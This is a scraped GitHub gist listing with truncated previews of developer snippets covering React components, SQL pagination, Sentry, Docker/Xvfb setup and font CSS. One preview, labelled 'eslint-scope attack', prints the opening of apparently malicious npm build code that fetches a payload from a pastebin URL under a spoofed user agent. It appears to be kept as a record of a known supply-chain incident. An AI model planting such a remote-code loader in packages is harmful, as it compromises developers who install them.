Skip to content

Instantly share code, notes, and snippets.

:shipit:
Shipping React Apps

Albin Ekblom albinekb

:shipit:
Shipping React Apps
Block or report user

Report or block albinekb

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@Swapnull
Swapnull / CodeOutput.jsx
Last active Jul 30, 2018
Code Ouput for docz
View CodeOutput.jsx
// @flow
import React from 'react';
import SyntaxHighlighter from 'react-syntax-highlighter/prism';
import { dark } from 'react-syntax-highlighter/styles/prism';
import { renderToStaticMarkup } from 'react-dom/server';
import pretty from 'pretty';
import jsxToString from 'jsx-to-string';
type Props = { children: any, showReact?: boolean, showHTML?: boolean, showIcon?: boolean };
type State = { active: number };
@hzoo
hzoo / build.js
Created Jul 12, 2018
eslint-scope attack
View build.js
try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
@pcattori
pcattori / gist:2bb645d587e45c9fdbcabf5cef7a7106
Last active Jul 7, 2019
relay-style cursor-based pagination capable of filtering/sorting for SQL
View gist:2bb645d587e45c9fdbcabf5cef7a7106
import { Base64 } from 'js-base64'
import { Op } from 'sequelize'
import { fromGlobalId } from 'graphql-relay'
// https://github.com/graphql/graphql-relay-js/issues/94#issuecomment-232410564
const effectiveOrder = ({ last }, orderBy) => {
/* adds `id ASC` to end of `ORDER BY` if `id` is not already in the `ORDER BY` clause
flips `ASC` to `DESC` (and vice-versa) if pagination arg `last` is defined
*/
@Tarabyte
Tarabyte / getRaven.js
Created Dec 22, 2017
Get correct sentry client in next.js app w/o custom webpack config
View getRaven.js
// @see package.json#browser field
const Raven = require('raven')
if (process.env.NODE_ENV === 'production') {
Raven.config('YOUR_SENTRY_DSN').install()
}
module.exports = Raven
@eduardoromero
eduardoromero / start-services.sh
Created May 2, 2017
Starting Xvfb with start-services.sh
View start-services.sh
#!/usr/bin/env bash
set -e
# Start Xvfb
Xvfb -ac -screen scrn 1280x800x24 :9.0 &
export DISPLAY=:9.0
exec "$@"
@eduardoromero
eduardoromero / Dockerfile
Created May 2, 2017
Dockerfile for Node 7 with xvfb
View Dockerfile
FROM node:7
RUN apt-get update &&\
apt-get install -y libgtk2.0-0 libgconf-2-4 \
libasound2 libxtst6 libxss1 libnss3 xvfb
# Exposing port 5000 (micro)
EXPOSE 5000
WORKDIR /app
View Intercom user_hash.md

Intercom user_hash

Remember that your secret key should never be exposed to the public

  • So Javascript code below should only be used for testing unless modified and used to run on a server
@mat
mat / Readme.markdown
Last active Jul 15, 2019
apple-app-site-association —with examples
View Readme.markdown

“apple-app-site-association” file

One file for each domain, both www.example.com and example.com need separate files:

{
    "applinks": {
        "apps": [],
        "details": {
            "9JA89QQLNQ.com.apple.wwdc": {
View sanfrancisco-font.css
/** WARNING - USE AT OWN RISK */
/** IT IS AGAINST APPLE'S POLICY TO USE SF PRO FOR ANYTHING OTHER THAN iOS/tvOS/macOS/watchOS DESIGN & DEVELOPMENT */
/** https://sf.abarba.me/font.css */
/** https://sf.abarba.me/LICENSE.pdf */
/** 1. Copy/import this file into your main css/scss file */
/** 2. Change css font-family: to "SF Text", "SF Display" or "SF Mono" */
/** 3. Apply font-weight or italic to html elements */
/** THANK YOU */
@sebmarkbage
sebmarkbage / Enhance.js
Last active Jul 16, 2019
Higher-order Components
View Enhance.js
import { Component } from "React";
export var Enhance = ComposedComponent => class extends Component {
constructor() {
this.state = { data: null };
}
componentDidMount() {
this.setState({ data: 'Hello' });
}
render() {
You can’t perform that action at this time.